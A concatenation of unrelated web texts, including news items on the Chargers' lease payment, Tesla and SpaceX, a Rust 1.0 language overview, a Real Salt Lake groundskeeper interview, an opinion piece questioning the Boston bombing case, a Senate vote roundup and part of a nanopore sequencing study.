a badge, guess who wins without video evidence. We’ve all got phones capable of recording video, and in this so called modern age of protecting and serving the shit out of you, it might be a valuable thing to have when the time comes. In terms of this video, I don’t think the cop had the right to trample over the rights of the driver for absolutely no reason. As far as I’m concerned, badges really don’t grant extra rights. But it seems Police today believe the suit they wear, their badge and gun grant them extra rights and magical powers to do whatever. It’s really sad, to say the least. Where do you stand on this one? Did the Police officer in the video step out of line? Or were his actions justified? The author of this post is a journalist for http://newsingeneral.com/ Cole Kruper 139 SHARES Facebook Twitter Google Reddit Tumblr Digg Linkedin Stumbleupon Mail Print EPNThe Chargers on Wednesday paid the City of San Diego $12.575 million for breaking the team’s lease at Qualcomm Stadium before it was due to expire in 2020, according to the mayor’s office. The NFL franchise made clear that it was going to terminate the lease when team Chairman Dean Spanos announced in January he was moving the team to Los Angeles. The payment finally severs the team’s ties to the city after 56 seasons. It’s unclear how the city will use the money. Some want the funds to help pay off $38 million in remaining debt for two projects in the late 1990s: stadium renovations to add seats and luxury boxes, and construction of a training facility for the team on Murphy Canyon Road. The Chargers will use facilities in Costa Mesa and will play their games at the StubHub Center in Carson until they can move in as a tenant in the Los Angeles Rams’ stadium being built in Inglewood. The money was paid via wire transfer and the transaction was spelled out in a two-paragraph letter signed in blue ink by Chargers Chairman Dean Spanos, according to the Los Angeles Times. The Qualcomm site is being considered for a variety of things, including a Major League Soccer stadium and commercial and residential development, San Diego State University housing and facilities or, potentially, a stadium for another NFL team.Image copyright AFP Image caption Heavily armed police wearing riot gear have become a regular sight on the streets of the St Louis suburb Egypt's government has called on US authorities to show restraint against protesters in Ferguson, Missouri. It said it was "closely following the escalation of protests" after the fatal shooting of an unarmed black teenager by a white policeman on 9 August. The statement echoes US President Barack Obama's comments during Egypt's crackdown on protesters in 2013. Correspondents say the criticism is unusual
collection can offer. Rust allows developers to forgo a garbage collector entirely, without being thrown back into a world of forgotten frees, dangling pointers and segfaults. The key concepts in Rust are ownership and borrowing. These ideas are ubiquitous in programming and an important part of modern C++, but unlike other industry languages, Rust puts them front and centre, statically checking and leveraging them to guarantee memory safety without a garbage collector, something that has been previously unthinkable. Rust’s idea of ownership is that each value has exactly one parent that has complete control. As values get reassigned, placed into data structures or passed into functions, they move and are statically no longer accessible via their original path. And if they are not moved away at the end of a scope, they are automatically destroyed. To make ownership work at scale, Rust also provides ways to temporarily “borrow” (make a pointer to) a value for the duration of a scope. As a bonus, ownership replaces more than just garbage collection. It is vital to Rust’s concurrency guarantees, and even removes other classes of bugs like iterator invalidation. It also applies to resources other than memory, freeing you from managing when to close sockets or files, for example. Concurrency As mentioned, ownership also ensures your concurrent programs won’t fall prey to some of the most insidious problems that can occur in them: data races. And all while maintaining a weak memory model, close to that used by hardware. Getting started with concurrent programs in Rust is simple, pass a closure to a function from the standard library: use std::thread; fn main() { let some_string = "from the parent"; thread::spawn(move \|\| { // run on a new thread println!("printing a string {}", some_string); }); } One of the tenets of many languages designed for concurrent programming is that shared state should be minimized or even outlawed entirely, in favor of techniques like message passing. Ownership means that values in Rust have a single owner by default, so sending a value to a new thread through a channel will ensure the original thread doesn’t have access to it: statically disallowing sharing. However, message passing is just one tool in your toolbox: shared memory can be immensely useful. The type system ensures that only thread-safe data can actually be shared between threads. For example, the standard library offers two sorts of reference counting: Arc provides thread-safe shared memory (immutable by default), while the Rc type offers a performance boost over Arc by forgoing the synchronization needed for thread-safety. The type system statically ensures that it is not possible to accidentally send an Rc value from one thread to another. When you do want to mutate memory, ownership provides further help. The standard library Mutex type takes a type parameter for the data that is to be protected by the lock. Ownership then ensures that this data can only be accessed when the lock is held; you cannot accidentally release the lock early. This sort of access-control guarantee falls automatically out of Rust’s type system and is used in many places through the standard library itself and more broadly. Zero-cost abstractions Performance and predictability is one of the goals of Rust, and an important step to achieving that while still offering the safety and power required is zero-cost abstractions à la C++. Rust lets you construct high-level, generic libraries that compile down to specialized code you might have written more directly for each case. To do this, Rust gives precise control over memory layout: data can be placed directly on the stack or inline in other data structures, and heap-allocations are much rarer than in most managed languages, helping achieve good cache locality, an extremely large performance factor on modern hardware. This simple, direct layout of data means optimizers can reliably remove layers of function calls and types, to compile high-level code down to efficient and predictable machine code. Iterators are a primary example of this, the following code is an idiomatic way to sum the squares of a sequence of 32-bit integers: fn sum_squares(nums: &[i32]) -> i32 { nums.iter().map(\|&x\| x * x).fold(0, \|a, b\| a + b) } This always runs as a single pass over the slice of integers, and is even compiled to use SIMD vector instructions when optimizations are on. Powerful Types Traditionally, functional programming languages offer features like algebraic data types, pattern matching, closures and flexible type inference. Rust is one of the many recent languages that don’t fit directly into the functional mould that have adopted those features, incorporating all of them in a way that allows for flexible APIs without costing performance. The iterator example above benefits from many of these ideas: it is completely statically typed, but inference means that types rarely have to be written. Closures are also crucial, allowing the operations to be written succinctly. Algebraic data types are an extension of the enums found in many mainstream languages, allowing a data type to be composed of a discrete set of choices with information attached to each choice: struct Point { x: f64, y: f64 } enum Shape { Circle { center: Point, radius: f64 }, Rectangle { top_left: Point, bottom_right: Point }, Triangle { a: Point, b: Point, c: Point } } Pattern matching is the key that makes manipulating these types easy, if shape is a value of type Shape, then you can handle each possibility: match shape { Shape::Circle { radius,.. } => println!("found a circle with radius {}", radius), Shape::Rectangle { top_left: tl, bottom_right: br } => { println!("found a rectangle from ({}, {}) to ({}, {})", tl.x, tl.y, br.x, br.y) } Shape::Triangle {.. } => println!("found a triangle"), } The compiler ensures that you handle all cases (a catch-all clause is opt-in), greatly aiding refactoring. These enums also allow Rust to forgo the so-called billion dollar mistake: null references. References in Rust will never be null, with the Option type allowing you to opt-in to nullability in a type-safe and localized manner. Conclusion Rust is sponsored by Mozilla, which is interested in a language that can replace C++’s performance and zero-cost abstractions for web browser development, while guaranteeing memory safety and easing concurrent programming. Rust fills a niche sometimes considered impossible: providing low-level control and performance without giving up safety or abstractions. Of course, there’s no free lunch: the compiler has a reputation as being a demanding assistant who doesn’t tolerate even any risk, and the ownership model, being a bit unfamiliar, takes some time to learn. The 1.0 release comes with the core language and libraries being tested and refined, and, importantly, the first guarantee of stability: code that compiles now should compile with newer versions for the foreseeable future. However, this release doesn’t mean the language is done: Rust is adopting a train model, with new releases every six weeks. New and unstable features can be explored via regular pre-release betas and nightlies. There is a standard package manager, Cargo, which has been used to build up a growing ecosystem of libraries. Like the language, this ecosystem is young, so there’s not yet the wide breadth of tooling and packages that many older languages offer (although a performant, easy FFI helps with the latter). Nonetheless, the language itself is powerful, and a good way to do low-level development without the traditional danger.SpaceX showcased the company's flown Dragon space capsule at an event jointly hosted with Tesla Motors in Washington, D.C. on Feb. 10, 2011. WASHINGTON – Commercial spaceflight company Space Exploration Technologies (SpaceX) and electric carmaker Tesla Motors teamed up yesterday (Feb. 10) to offer a behind-the-scenes glimpse of some of their products that are pushing the boundaries of technological innovation. To celebrate the opening of the city's first Tesla showroom, the two companies jointly hosted an exclusive open house for members of the media. On display were SpaceX's Dragon space capsule, which became the first commercial spacecraft to effectively return from orbit after a successful test flight on Dec. 8, 2010, along with Tesla's Roadster and the forthcoming Model S sedan. SpaceX, based in Hawthorne, Calif., and Tesla Motors, headquartered in Palo Alto, Calif., are both managed under the watchful eye of entrepreneur and CEO Elon Musk. Musk is also the co-founder of the online payment system PayPal. SpaceX's unmanned Dragon spacecraft is being developed as a cargo vessel to deliver supplies to the International Space Station under a $1.6 billion deal with NASA. The contract calls for 12 SpaceX Dragon flights to the space station through 2016. "The technology of space travel has arguably declined since the Apollo moon landings, as rocket flight has become significantly more expensive to the point of being almost unaffordable even for the federal government," Musk said in a statement. "SpaceX is revolutionizing the industry with launch costs that are the most competitive in the world, despite our vehicles having higher design safety margins and greater systems redundancy. Ultimately, our goal is to reduce costs by over a factor of ten, saving billions of tax dollars and helping to launch a new age of discovery." On Dec. 8, Dragon launched on SpaceX's Falcon 9 rocket, orbited the Earth twice, and re-entered the Earth's atmosphere before splashing down in the Pacific Ocean. The mission was considered an overwhelming success. "We were really happy," Ken Bowersox, SpaceX vice president of astronaut safety and mission assurance and former NASA shuttle and space station commander, told SPACE.com. "It reminded me a lot of how the space missions that I've been on have gone. Typically when you plan things well and think about the contingencies before you launch, the mission on orbit goes very smoothly and you get the desired outcome in the end." The smooth test flight of the Dragon capsule shone a spotlight on the potential for commercial spaceflight, and may have even helped break down some barriers. "I think it probably did a lot to reduce the level of fear that's present in the community," Bowersox said. "Everybody forgets the fact that commercial companies have made every single vehicle that has ever been flown by NASA. I think people are seeing that this could open up exploration instead of stopping exploration. When people realize that, they'll start to accept it as a good thing." Recently, SpaceX submitted a proposal to NASA's Commercial Crew Development (CCDev) program to begin developing a version of the Dragon capsule to transport people into orbit. Tesla's Roadster, an electric sports car that runs on lithium-ion battery cells. (Image: © SPACE.com/Denise Chow) For Musk, SpaceX is not the only one of his endeavors making technological leaps. "Tesla is expediting the move toward energy independence, promoting clean transportation and helping restore America to a position of global automotive leadership," Musk said. Tesla's four-door, full-sized, battery electric Model S sedan is expected to hit the retail market in mid-2012. The car is designed and manufactured in California, and will be the first vehicle built from the ground up as an electric car. At yesterday's event, Tesla also exhibited the Tesla Roadster, a sports car that runs on lithium-ion battery cells. This electric "supercar" can accelerate from 0 to 60 miles per hour in a rapid 3.7 seconds without using a single drop of gasoline. The Roadster, which can be plugged into any conventional electrical outlet, can also travel 245 miles on a single battery charge. You can follow SPACE.com Staff Writer Denise Chow on Twitter @denisechow.Among the most basic facts about soccer is that it is a game played on a field. Part of the global appeal of soccer is how easy it is to find a grass field, wood court, or street on which to play the game. At the professional level in the US, the standard for the quality of field is high. If you’ve ever gone to look at footage of matches in England in the 1960s or 70s, you’ll notice two immediate differences from the game we watch today: short shorts and terrible fields. In the 70s, a study was done which showed that by December most fields in England were covered in mud patches due to the wet winter conditions. Changes had to be made. Over the next several decades horticulture, particularly turf management, improved drastically and this is a benefit we all now enjoy. If you’ve ever watched a Real Salt Lake game, you’ve never seen a single mud patch on the field. The grass always crisp, green, and sharp. If you’ve ever been on the field, perhaps for 4th of July fireworks, you know the grass is delightful. I personally don’t know why the players are more interested in playing than napping on the grass, but perhaps this is why I never made it as a pro. This is the first installment in a new series we’re doing at RSL Soapbox – Getting to Know RSL. The idea with this series is to get to know different parts of the RSL organization. There is a lot of fantastic coverage on the players and coaching staff, and that kind of accessibility to the team is one thing I love about this club, but I’m also interested in how the rest of the RSL structure functions. This series aims to explain different parts of RSL and to get to know some of the key people who help make this club run. I can think of no better play to start than with the fields and grounds. I was able to sit down with Dan Farnes and ask him about the department he leads. Dan is the Director of Fields and Grounds, and is the man who is ultimately responsible for the playing surfaces of the stadium and training ground. Lucas Muller – Can you tell me a little bit about yourself and your background? Dan Farnes – I grew up in Bountiful. I went to Utah State to study Horticulture. I met my wife there and been married for 12 years. We have two kids and still live in Bountiful. I got my first job in Parks and Recs mowing grass and that’s where I fell in love with grass and being outside. I actually got this job when I saw a posting on Craigslist for hourly work, not full time or anything, and started there. I worked my way up and got the director position three years ago, so been here (with RSL) seven years total. Lucas – Were you a fan of RSL before working for the club? Dan – Yeah, I had season tickets back at Rice-Eccles. Then I started here in 2010. My wife and kids, parents, and grandparents have season tickets, so it’s always been a family affair. Lucas – What does game day look like for you? Are able to watch and enjoy the match, or are in work mode and stressing about the field? Dan – Yes, I am stressing about the field. If a game day is at eight o’clock, we get here about noon, set up goals, lots of other things. During the game we sit down on the sidewalk around the field behind the goals, in case a corner flag breaks or the net breaks or anything like that. So we get to watch the games, then after the games we do a lot of cleanup on the field too. Lucas – As the head of your department I would love to hear a little bit about what goes on in your department — how many people report to you, who do you report to, what is a day in the life like for you guys? Dan – I report to Craig Martin, who is the stadium vice president; he’s my boss. I’m over three guys in the department who are all full time; Bret, Charlie, and Andy. All really good dudes, good guys to work with. We try and do internships, sometimes in the summer, but I haven’t had a lot of luck doing that for some reason. In a typical day we get here about 8 or 8:30, depending on the day if we’re setting up for practices that go on at America First, so we’re always setting up for those every day. We’re mowing the commons, we do a lot of work inside the stadium, small construction projects, things like that. I have a huge list of little things that need to be taken care of, we have a little meeting at the beginning of the day to get set up. Today, for example, we had to fertilize the field, put down some iron to spruce up the color a little bit. It’s a lot of running around. We try and help other departments in the stadium; we’re kind of the go to guys for, ‘hey this light bulb went out’, or, ‘hey we need to figure out Monarchs just so there’s no overlap.” Lucas – As far as taking care of the field, it sounds like a lot has changed over the last 40 years. You see old footage of games in England and the fields are just mud. Now there’s a pretty elaborate system of drainage, sand, and some other stuff that’s changed that. Can you speak to what goes into the field here at Rio Tinto? Dan – We’re really spoiled with this field. It’s a sand-based Kentucky bluegrass field. There’s about 8 or 9 inches of sand under the grass, which gives the roots a lot of room to go down, which is what we want. We want deep roots, which strengthens the grass on top. Underneath the sand is a gravel layer. In that layer is our irrigation and then our drainage, in there is where we have our sub-air system. Lets say there’s a big rainstorm, I can turn the vacuum on and it’ll suck the puddles down through the sand. It’s pretty sweet. Golf courses have it a lot on their greens. It also gives us the ability to heat the grass, so I can turn on the heater, there’s also a pressure function, the heater heats up the soil so when we’re trying to play in March when the season starts, we turn that on and it helps to warm the field up so it’s a little easier to play and the fields not frozen. Then the pressure system helps with the heat, like this summer was super hot, so you turn the pressure on and it pushes the colder air that is under the sand layer up to cool the grass. Lucas – What are the unique challenges to having a bright, beautiful, green soccer field in Utah, especially with the summer schedule? Dan – It’s the weather that’s the biggest challenge. We start so early in March, usually have snow, so we’re hoping that the snow goes away fast. If there is snow, we have to plan for plowing the fields. We had that snow game this year, which we’ve never had before (RSL vs. Vancouver on April 8th, 2017). It was fun because we’ve never had that before. We had to figure things out really fast like what lines needed to be shoveled. In the summer the schedule is so busy with Monarchs and Real and other events we have on the fields it’s hard to keep people off it. I’d love it if the teams came and played on game days and that was it. We have to plan on other events; Monarchs always train the day before a game. Now in fall, where we went from 90 degrees down to 50 degrees, the grass is really shocked, and it’s hard to keep it growing in these conditions. Lucas – What happens to the field from the final whistle at the end of a game to the starting whistle of the next game? Dan – Immediately after the game we take the goals down and do a divot walk, which takes 2-3 hours depending on the damage to the field. In the divots we put down a green sand mixture with seed, kind of like on golf courses, you make a divot and fill it in with sand and seed. The next day we come back and check the divots again to be sure we didn’t miss anything. We are testing compaction. That’s one our biggest enemies. We want the grass to be soft but a little firm. If it’s too soft we’ll get big divots out there, but if it’s too firm the ball, for example, will bounce too high. The players like it at a certain density. It also helps with injuries too, if a field is harder we see more injuries out there, especially with guys jumping up and crashing back down. We like to see it a little bit softer. In order to do that we test the compaction and see if we need to aerate. We do some solid tine aeration. When people think about aeration, people think about pulling a core out and it leaves them on the grass. These different type of tines just pokes holes and it relieves the compaction issues on the grass. I’m usually mowing the field five or six times a week. A lot of that is to keep the length. We keep the grass at one inch long. It also helps with the pattern you see on the grass as well. We’re constantly watering it and checking for dry spots and looking for any spots that need to be taken out. Lucas – Is there anything special that goes in on game day or the day before? Dan – Setting up goals is the biggest things, goals, corner flags, we paint the lines the day before or the day of the game, just so the lines are nice and crisp and white for the TV. We’re always worried about how it looks on TV, and of course how it plays for the players. Lucas – Now that the academy is in Herriman, is that a part of your team’s responsibilities? Dan – Yeah, I’ll now be over Rio Tinto and Herriman, but I’ll have a full time staff of four guys in Herriman and we’ll keep the three full time guys here. We’re in charge of those fields. There are five natural fields, two indoor, and one stadium, which is artificial. I’ll be over both of those. I have guys hired out there now. We have two fields down, two fields sodded and there’s three left. Lucas - Does your department get any input in the design of the Academy fields? Dan – We had a little bit of input with it — I wish maybe we would’ve had a little bit more input — but they came to us for a lot of things, which was really nice. Five fields is a lot, but you think about one field for the academy, two fields for Real, one field for Monarchs, and then another field that’s kind of promised to Herriman City for their use. I wish we had two or three more fields out there, but that might happen at a later date. Lucas – What kind of care goes into the artificial fields? Dan – Artificial is kind of tricky. People think you lay it down and let it be and it’s easy, but you have to really watch the infill, that crumb rubber infill, so you’re constantly grooming that to make sure the fields are still flat and there’s no bare spots. And you also have to clean it weekly. We’ll also be constantly painting lines for different sports that will happen out there, football, rugby, I think lacrosse, plus the academy. Lucas – What goes into care for the America First training field? Dan – At America First, we try to keep the same exact maintenance schedule that we have at Rio Tinto because the team is practicing there every day. That field is the exact same dimension, exact same specs as the stadium except it doesn’t have the sub-air over there. The thing about America First is that it gets so much more use, three times more use, so we’re doing a lot more aeration when we can. It’s a lot harder to do maintenance out there because it’s being used so much. Lucas – What do you do for equipment between the three locations? Dan – We’re lucky because Toro is a big sponsor for us, so we have all Toro equipment. The fields in Herriman will be the “Toro fields”. They will have all Toro equipment in Herriman and we have all Toro equipment here in the stadium. But it’s all kept separate; we’re not taking a tractor from here to Herriman. We’ll have our separate equipment out there and here too. Lucas – Is there anything about the fields, grounds, or anything you guys do that you wish the average fan knew? Dan – Maybe they do know, but the guys I work with, we put in so much time and we really care about the safety for our players, so that’s why we do most of the things we do out there. We put in a lot of hours, it’s not just a forty hour, 8-4 work day or whatever, it’s a lot of overtime, it’s a lot of, ‘Oh crap, the Monarch’s schedule changed” or Real changed their schedule and we gotta come in and figure it out. So it’s a lot of extra hours and the guys do such a good job, I just couldn’t do it without them. Maybe something people might like to know is that we’re really big fans of the team, so we really enjoy being here, getting to know coaches, getting to know the players, it’s just really fun, I love the job. It’s just a fun job.Charges relate to allegations of non-recent child sexual abuse of a boy under the age of 14 The former football coach Barry Bennell has been charged with eight offences of sexual assault against a boy under the age of 14, the Crown Prosecution Service has said. Bennell, 62, had been under investigation by detectives from Cheshire police. The offences are alleged to have been committed between 1981 and 1985. Bennell is due to appear at South Cheshire magistrates court on 14 December. In a statement the CPS said: “On 27 September 2016, the Crown Prosecution Service received a file of evidence from Cheshire police relating to allegations of non-recent child sexual abuse involving a former football coach, Barry Bennell. “Following a review of the evidence, in accordance with the Code for Crown Prosecutors, Mr Bennell, 62, has today been charged with eight offences of sexual assault against a boy under the age of 14.” The offences Bennell has been charged with include five counts of indecent assault on a boy under the age of 14, two counts of inciting a boy under 14 to commit an act of gross indecency, and assault with intent to commit buggery. Given recent media coverage of claims of child sexual assault in football, the CPS asked for restraint and said: “The Crown Prosecution Service reminds all concerned that criminal proceedings against Mr Bennell will now begin and that he has a right to a fair trial. It is extremely important that there should be no reporting, commentary or sharing of information online which could in any way prejudice these proceedings.”A recent poll conducted by Dzhokhar Tsarnaev’s defense team, part of an effort to force a change of venue for his trial, found that a majority of Bostonians—58 percent—are already convinced the accused Marathon bomber is “definitely guilty.” That may be persuasive to the presiding judge. But what’s perhaps more interesting is that the poll found a sizable number of Boston residents—42 percent—are still “unsure,” indicating that even the population with the closest proximity to the April 15, 2013, act of terrorism still harbor doubts about the “official” version of events. Without seeing the evidence the government claims to have of the younger Tsarnaev’s guilt, and due to many anomalies and lingering questions about the bombing and its aftermath, we’re siding with the 42 percent who just aren’t sure yet. Kevin Cullen of the Boston Globe recently expressed surprise about the poll’s results in a column in which he wrote: “Call me Pollyanna, but I’m shocked they were able to find the 42 percent who don’t think he’s guilty.” While people answering that they’re unsure about Tsarnaev’s guilt isn’t the same as thinking he’s innocent, it does reflect a substantial feeling that the jury is still out in many Bostonians’ minds. Cullen’s surprise makes sense when one considers the nature of the event, with its gut-wrenching imagery and suspenseful days-long manhunt. After an experience like that, it’s understandable that Bostonians would want someone to hang. And from the beginning, law-enforcement along with the vast majority of the media have implied that the evidence against Tsarnaev is so airtight, and that his guilt is so self-evident, that it’s bordering on the absurd to assert some things in the official version may not be exactly as we’ve been told. You Can’t Fool All the People All the Time The problem, as 42 percent of Bostonians apparently recognize, is that nobody has seen any evidence of Dzhokhar Tsarnaev’s involvement in the actual bombing. It appears to many that there is likely more to this story than the simplistic, “self-radicalized lone wolves” yarn being spun by law enforcement and the mainstream media. It does appear that these brothers were somehow involved in the violence. However, serious doubts remain with the government’s version of events. We’ve been told that the brothers: • Built, placed and detonated the “highly sophisticated” bombs • Killed Officer Sean Collier execution-style • Hijacked a Chinese national who made a daring escape • Set off a chase that culminated in the Watertown shootout, the death of Tamerlan, and the subsequent capture of Dzhokhar in a dry-docked boat Most importantly, we’ve been told they did all of this alone. We’ve also been informed that neither the FBI nor any other federal agencies had any contact with the brothers—directly or indirectly—after the agency closed its investigation into Tamerlan and his mother in 2011. In the absence so far of hard evidence implicating the brothers as the sole perpetrators, many Bostonians appear to have kept an open mind. In this, they may have been influenced by their familiarity with the FBI’s history of covering up embarrassing relationships to bad guys, like the one local agents had with the murderous Boston mobster Whitey Bulger—not to mention the Bureau’s less-than-stellar record of transparency regarding major events like 9/11. And that doesn’t even take into account some of the geopolitical and national security implications swirling around the case. In other words—many reasonable doubts still exist. Here’s a few of them: • “Danny,” the main witness to Tamerlan Tsarnaev’s alleged confession to the Marathon bombing, and the shooting of Sean Collier, changed significant parts of his story over time, thereby undermining his credibility. And he is a budding entrepreneur with an uncertain immigration status—an easy target for law enforcement manipulation (For our two-part discussion on the reasonable doubts about Danny’s story, see here and here). • As far as we know, there are no eyewitnesses to the shooting of Sean Collier. The security camera footage that supposedly recorded them attacking Collier has not been shown to the public. Additionally, at least three different law enforcement officials told the New York Times that the video in question does not show the attackers’ faces. • There was an armed felon in the vicinity of Vassar Street around that same time who had just robbed a 7-Eleven at gunpoint. He’s still at large. • The brothers supposedly shot and killed Collier for his gun, but didn’t take it. They also managed to avoid getting any blood on themselves, when one or both of them allegedly tried to wrestle Collier’s pistol from his bleeding body. • The FBI initially denied knowing who the brothers were until Russia called them out on it. Was the FBI—or another federal agency—hiding something? • The FBI’s assertions that its investigation of Tamerlan Tsarnaev was limited by a concern for his civil liberties are not credible. Since its inception, the FBI has routinely ignored the Bill of Rights, particularly, in recent years, when it comes to Muslims. • Prior to the bombing, Tamerlan Tsarnaev somehow evaded being detained at the airport not once but twice, despite being on two different no-fly lists To get an idea of the frequency with which the government routinely allows individuals with questionable associations to travel in and out of our country as they please, see here and here. • Why is it that the FBI appears to be relentlessly intimidating, punishing, deporting and in one case—that of Ibragim Todashev—shooting to death a person closely connected to the brothers? That pattern of behavior can easily call into question the FBI’s stated desire to get to the truth. Indeed, it can create the opposite impression. After the Todashev shooting, the FBI leaked to the media radically contradictory stories about how it happened: Todashev came at the agent with a knife, no, it was a sword, no, it was a pole. Even the Florida State Attorney’s investigation revealed mind-boggling contradictions between the stories of the FBI agent who did the shooting, and the Massachusetts state trooper who was in the room at the time. The trooper said Todashev charged him with a broom handle raised high like a javelin. But the FBI agent said Todashev ran at him with his left shoulder dropped in an attacking posture. For more details about the Todashev killing, please take a look here and here. • The Tsarnaev’s uncle Ruslan and his apparent connections to retired CIA officer Graham Fuller and the CIA deserve further scrutiny. • The fact that these immigrants were refugees from an area heavily contested between the United States and Russia, who were living in Cambridge, an established hotbed of espionage and international intrigue involving the United States, Russia and other countries, should give one serious pause before swallowing the “lone wolves” assertion. • Even some law enforcement officials have expressed skepticism that the Tsarnaev brothers could have had the technical ability to construct and successfully detonate such highly sophisticated bombs in a flawlessly coordinated manner without help. The Tsarnaevs did not seem like criminal masterminds, as demonstrated by their boneheaded and panicky behavior once they were identified as the bombers. And finally, the public has never seen the alleged video footage of Dzhokhar planting his backpack at the scene of the second explosion. What we have seen are grainy videos that show the brothers on Boylston St. carrying backpacks—like hundreds of other spectators that day. [box] WhoWhatWhy plans to continue doing this kind of groundbreaking original reporting. You can count on us. Can we count on you? What we do is only possible with your support. Please click here to donate; it’s tax deductible. And it packs a punch.[/box] Where else do you see journalism of this quality and value? Please help us do more. Make a tax-deductible contribution now. Our Comment Policy Keep it civilized, keep it relevant, keep it clear, keep it short. Please do not post links or promotional material. We reserve the right to edit and to delete comments where necessary. Related printBreaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings. May 23, 2015, 1:32 AM GMT / Updated May 23, 2015, 1:45 PM GMT By Halimah Abdullah and Frank Thorp V The Senate held a marathon session beginning Friday to wrap up votes on critical measures before the holiday weekend. After a series of votes overnight, Senate Majority Leader Mitch McConnell, R-Ky., announced early Saturday that the Senate would begin a weeklong Memorial Day break and return on Sunday, May 31. Here's a look at what was voted on: NSA Bill The Senate blocked both a House-passed bill and a short-term extension of the USA Patriot Act during an early Saturday vote. The bill would have moved the bulk collection of domestic phone records from the National Security Agency to being held by telecom companies. The vote on the bill was 57-42, and the extension was 45-54, both short of the 60 votes needed to move forward. The provision is on its way to expiring on June 1 with no real path to being reauthorized before it lapses for at least a brief period of time. The bill's most vocal opponent has been Sen. Rand Paul, R-Ky., who took to the Senate floor Wednesday and spoke in a 10 ½-hour filibuster-like speech in opposition of the government's bulk collection of data. Paul has vowed to oppose not only any clean extension of the program, but also the USA Freedom Act, which he says does not go far enough. Justice and National Security officials warned that if the Senate did not pass the compromise replacement legislation for the Patriot Act before the holiday recess, the NSA will have to start dismantling bulk collection of metadata records to avoid both practical and legal problems. 'Fast-Track' Trade Bill Earlier in the session, the Senate passed a bill that would give President Barack Obama "fast-track" authority to negotiate the massive 12-nation Trans-Pacific Partnership trade pact without the threat of Congress adding amendments or filibustering the final deal. The hotly contested bill, called Trade Promotion Authority (TPA), passed 62-37. The legislation passed Friday night also includes a re-authorization of Trade Adjustment Assistance (TAA), which is a federal aid program for American workers who have lost their jobs as a result of foreign trade. The bill now goes to the House, where Ways and Means Committee Chairman Paul Ryan, R-Wis., is working on garnering the support to pass it in that chamber. Many believe passage in the House will be a harder pull than it was in the Senate. The bill put Republicans in the rare position of being on the same side of an issue as Obama, who has requested the fast-track authority. Those who oppose the measure believe trade deals lower middle class wages and cost jobs in the United States. Many Democrats also wanted provisions included in the bill which would help address currency manipulation, provisions that many Republicans considered a poison pill to the deal. "I want to thank Senators of both parties for sticking up for American workers by supporting smart trade and strong enforcement, and I encourage the House of Representatives to follow suit by passing TPA and TAA as soon as possible," Obama said prepared statement. Highway and Transit Aid Bill The Senate also approved a House-passed two month extension of federal funding for highway and transit programs before program funding expired at the end of this month. The measure was approved by voice vote early Saturday and will be sent to Obama, who is expected to sign.After months at a standstill at the Michigan Secretary of State office, Tesla’s application for a dealership license in order to service and sales its vehicles in the state was rejected earlier this month. Electrek has learned today that Tesla filed a lawsuit against the state in order “to vindicate its rights under the United States Constitution to sell and service its critically-acclaimed, all-electric vehicles at Tesla-owned facilities in the State of Michigan”. The court battle will be an important one for the electric automaker since Michigan is the most populated state in the US that still doesn’t have a Tesla store or service center. The suit, which Electrek obtained and embedded below, was filed in the western district
genomic DNA and based on previous observations that fresh material gave better results, each group worked with freshly prepared total genomic DNA from E. coli str. K-12 substr. MG1655 purchased from DSMZ, Germany ( https://www.dsmz.de, DSM No. 18039) on 21 January 2015. On arrival, the E. coli strain was rehydrated in LB broth. The rehydrated culture was used to inoculate ten replicate 10 mL LB broth tubes and one plate, all of which were incubated overnight at 37°C. Following incubation, the plate was examined to ensure the culture was pure. Broth cultures were centrifuged at 5,000 × g in a benchtop centrifuge to collect biomass for cryogenic bead tube (Protect, Lab M, Lancashire, UK) inoculation. Bead tubes were stored at -70°C until they were shipped, at room temperature, to four other laboratories ( Table S1 ). Upon arrival, the bacterial culture was plated on LB agar, checked for viability and purity, and the bead tube stored at -80°C until the sample was ready for culture and extraction. The length of the longest perfect subsequence in the base-calls of each read is a measure of sequencing accuracy. The median length in 2D base-calls of the target sample was 50 and 90 for the fail and pass base-calls, respectively, across all experiments except P1a-Lab4-R2, which may have been run with a higher concentration of fuel mix ( Figure 13B ). However, the distribution for all experiments had a long tail, the longest exceeding 300 consecutive, perfect bases ( Figure 13B ). The median theoretical fold coverage of the target E. coli genome achieved by the 20 experiments was 25 for 2D reads (min=5.2, Q1=16.3, median=24.9, mean=29.0, Q3=36.5, max=78.5) and 16 if restricted to 2D ‘pass’ reads (min=1.7, Q1=11.3, median=15.9, mean=20.3, Q3=27.0, max=47.9). When the theoretical fold coverage of all 2D base-calls or just the 2D ‘pass’ base-calls was at least 20, 99.9% of the sites were called accurately by the majority consensus. A theoretical fold coverage of at least 60 was required to call 99.99% of the reference sites accurately from the majority consensus. One attribute that distinguishes nanopore sequencing from many next generation technologies is the possibility of acquiring base-calls that are over 10,000 bases long. Typically, 7.6%, 4.0%, 4.4%, and 3.6% of the reads had over 10,000 bases in the template, complement, 2D, and 2D ‘pass’ base-calls ( Figure S1A ). Similarly, 50% of reads had a length of at least 5,500, 5,600, 6,000 and 6,300 bases for the template, complement, 2D, and 2D ‘pass’ base-calls ( Figure S1B ). Generally, 5% of the reads had a length of at least 14.5, 13.0, 13.5 and 13.6 × 10 3 bases for the template, complement, 2D, and 2D ‘pass’ base-calls ( Figure S1B ). The longest template, complement, 2D, and 2D ‘pass’ base-calls observed in this study were 291.6, 300.5, 59.7 and 59.7 × 10 3 bases, respectively. According to the metadata in the FAST5 data files ( Table S2 ), the base quality Q is related to the probability of error p by the Phred scale formula Q = -1000log 10 (1-p). The linear relationship between the logarithm of percentage error and the mean base quality of 2D reads mapped with BWA-MEM confirms this relationship ( Figure 12A ), thus demonstrating that base quality is correlated with the accuracy of base-calls and can be used to filter reads of an unknown genome to the accuracy required for a particular analysis. We suspect the decrease of 10 (-Q/1000) /TotalError over time, a value that should be the same for every read, was the result of decreasing mean read base qualities during an experiment and the 4h dips in the signal were due to the miscalculation of the mean base quality of reads that were being sequenced during a bias-voltage adjustment ( Figure 12B ). Error rates inferred from the use of the BWA-MEM and LAST as the initial aligner were very similar; therefore, only the values based on BWA-MEM are described. The error estimates from BWA-MEM, pre- and post-EM alignment, were very similar for experimented from Phase 1a and 1b ( Figure S6 ). Error estimates inferred from BWA-MEM alignments without EM correction showed that the error rate of the 1D template and complement base-calls were similar, and about twice that of the 2D base-calls; and the error of the base-calls from pass reads were always lower than for the fail reads of the same read type ( Figure S7A ). Similarly, the error estimates were similar for target and control base-calls across all laboratories ( Figure S7B ). The total percentage error of individual reads, and the miscall, insertion and deletion components, were almost constant over time, but interrupted by an increase 